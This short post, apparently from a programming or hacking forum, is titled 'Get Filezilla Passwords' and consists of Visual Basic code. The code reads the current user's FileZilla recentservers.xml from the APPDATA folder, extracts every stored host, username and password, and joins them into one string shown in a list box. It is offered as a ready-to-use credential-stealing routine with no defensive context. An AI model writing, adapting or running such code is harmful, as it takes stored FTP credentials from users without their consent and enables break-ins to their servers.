Get Filezilla Passwords

code;

Public Function sFileZilla() As String
Dim sFile       As String
Dim sPath       As String
Dim sCont()     As String
Dim sHost()     As String
Dim sUser()     As String
Dim sPass()     As String
Dim sServer()   As String
Dim i           As Long
Dim sResult     As String
sPath = Environ("appdata") & "\FileZilla\recentservers.xml"
Open sPath For Binary As #1
sFile = Space(LOF(1))
Get #1, , sFile
Close #1
sServer() = Split(sFile, "<Server>")
For i = 1 To UBound(sServer)
    Erase sHost
    Erase sUser
    Erase sPass
    sCont() = Split(sServer(i), "<Host>")
    sHost() = Split(sCont(1), "</Host>")
    sCont() = Split(sServer(i), "<User>")
    sUser() = Split(sCont(1), "</User>")
    sCont() = Split(sServer(i), "<Pass>")
    sPass() = Split(sCont(1), "</Pass>")
    sResult = sResult & sHost(0) & "?" & sUser(0) & "?" & sPass(0) & "?"
Next i
List5.AddItem sResult
End Function